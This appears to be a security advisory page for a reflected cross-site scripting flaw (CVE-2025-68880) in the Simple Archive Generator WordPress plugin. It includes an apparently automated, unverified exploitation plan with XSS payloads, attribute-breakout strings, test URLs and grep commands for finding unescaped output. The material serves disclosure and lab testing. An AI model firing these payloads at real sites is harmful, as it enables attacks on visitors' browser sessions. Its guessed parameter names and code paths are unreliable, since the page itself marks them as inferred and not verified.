CVE-2025-68880

Simple Archive Generator <= 5.2 - Reflected Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.1
CVSS Score
6.1
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Simple Archive Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.2
PublishedJanuary 27, 2026
Last updatedFebruary 2, 2026
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-68880 (Simple Archive Generator) ## 1. Vulnerability Summary The **Simple Archive Generator** plugin (versions <= 5.2) is vulnerable to **Reflected Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin accepts user-controlled input via HTTP…

Show full research plan

Exploitation Research Plan: CVE-2025-68880 (Simple Archive Generator)

1. Vulnerability Summary

The Simple Archive Generator plugin (versions <= 5.2) is vulnerable to Reflected Cross-Site Scripting (XSS). The vulnerability exists because the plugin accepts user-controlled input via HTTP parameters and reflects that input back into the HTML response without proper sanitization (using functions like sanitize_text_field) or context-aware output escaping (using functions like esc_html or esc_attr). This allows an unauthenticated attacker to execute arbitrary JavaScript in the context of a user's browser session.

2. Attack Vector Analysis

  • Endpoint: Any frontend page or post where the Simple Archive Generator shortcode is active, or a specific plugin-generated archive page.
  • Vulnerable Parameter: Likely a GET parameter used for filtering or pagination, such as sag_page, category, monthnum, or a search/filter parameter (inferred).
  • Authentication: None (Unauthenticated).
  • Preconditions: The plugin must be active. The attacker needs to trick a victim (e.g., an administrator) into clicking a crafted link.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers a shortcode (likely [simple-archive-generator]) or a template redirect hook to handle archive display.
  2. Input Processing: Inside the shortcode callback or the archive rendering function, the plugin accesses global variables like $_GET['parameter_name'].
  3. Lack of Sanitization: The code fails to sanitize this input.
  4. Reflection (The Sink): The input is echoed directly into the page content or into an HTML attribute (e.g., value="..." or href="...") to maintain the state of filters or pagination links.
    • Example Vulnerable Pattern: echo '<a href="?paged=' . $_GET['paged'] . '">Next</a>';
  5. Execution: The browser renders the malicious script tag or attribute breakout provided in the parameter.

4. Nonce Acquisition Strategy

Reflected XSS via GET parameters typically does not require a nonce, as nonces in WordPress are primarily used for CSRF protection on state-changing actions (POST requests).

However, if the reflection occurs within a script context where the plugin enqueues localized data, the following strategy should be used to check for related vulnerabilities:

  1. Identify Shortcode: Search the plugin code for add_shortcode.
    • grep -r "add_shortcode" /var/www/html/wp-content/plugins/simple-archive-generator/
  2. Create Test Page:
    • wp post create --post_type=page --post_status=publish --post_title="Archive Test" --post_content='[simple-archive-generator]' (Note: exact shortcode name to be verified by grep).
  3. Extract Localized Variables:
    • Use browser_navigate to the created page.
    • Check for localized scripts: browser_eval("window.sag_vars") or similar (inferred).

5. Exploitation Strategy

Step 1: Identify the Reflection Point

The agent should first identify which parameter is reflected. Common candidates for an archive plugin:

  • paged
  • sag_order
  • cat
  • month

Step 2: Test for Reflection with a Canary

Perform an HTTP GET request to a page containing the shortcode with a unique string.

  • Request: GET /archive-test-page/?sag_test=HTB_CANARY
  • Tool: http_request
  • Check: Verify if HTB_CANARY appears unescaped in the response body.

Step 3: Craft the XSS Payload

Once the reflected parameter is found, use a breakout payload.

  • If reflected in a text node: <script>alert(document.domain)</script>
  • If reflected in an attribute (e.g., value): "onmouseover="alert(1)

Step 4: Final Payload Execution

  • URL: http://localhost:8080/archive-test-page/?VULN_PARAM=%3Cscript%3Ealert(document.domain)%3C/script%3E
  • HTTP Method: GET
  • Expected Header: Content-Type: text/html

6. Test Data Setup

  1. Install Plugin: Ensure Simple Archive Generator <= 5.2 is installed and active.
  2. Create Content: Create a few posts to ensure the archive generator has data to display.
    • wp post generate --count=5
  3. Place Shortcode:
    • wp post create --post_type=page --post_status=publish --post_title="Archive" --post_content='[simple-archive-generator]'
    • Note: The agent must verify the actual shortcode string in the source code first.

7. Expected Results

  • The HTTP response body must contain the literal, unescaped payload: <script>alert(document.domain)</script>.
  • If using a browser-based PoC, a popup or log indicating the script executed in the localhost:8080 context should appear.

8. Verification Steps

  1. Search for Sinks: Use grep to find unescaped echos of GET parameters in the plugin directory:
    • grep -rP "echo.*\\\$_GET" /var/www/html/wp-content/plugins/simple-archive-generator/ | grep -v "esc_"
  2. Manual Confirmation: Run a curl command (from the agent's environment, pointing to the host) and pipe to grep to show the raw reflection:
    • http_request "http://localhost:8080/archive/?param=<script>"
    • Check response for: ...Results for <script>... (example).

9. Alternative Approaches

If no simple GET reflection is found on the frontend:

  1. Search for Admin-Side Reflected XSS: Check if the plugin has an admin settings page that reflects parameters (e.g., ?page=simple-archive-generator&message=<script>).
    • grep -r "add_menu_page" /var/www/html/wp-content/plugins/simple-archive-generator/
  2. AJAX Reflection: Check if wp_ajax_nopriv handlers reflect any input.
    • grep -r "wp_ajax_nopriv" /var/www/html/wp-content/plugins/simple-archive-generator/
  3. Attribute Breakout: If the input is reflected inside an HTML tag attribute, try:
    • ?param=x" onfocus="alert(1)" autofocus="
    • ?param=javascript:alert(1)// (if reflected in an href).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Simple Archive Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to 5.2. This is caused by the plugin reflecting un-sanitized user input from GET parameters (such as those used for pagination) directly into the HTML response.

Exploit Outline

The exploit targets unauthenticated users by tricking them into clicking a crafted URL that contains a malicious JavaScript payload in a reflected GET parameter. 1. Identify a page where the plugin's archive shortcode is active. 2. Append a malicious payload to common archive parameters such as 'paged', 'sag_order', or 'cat' (e.g., `?paged="><script>alert(document.domain)</script>`). 3. When a victim views the crafted link, the plugin echoes the parameter value without escaping, allowing the script to execute in the victim's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.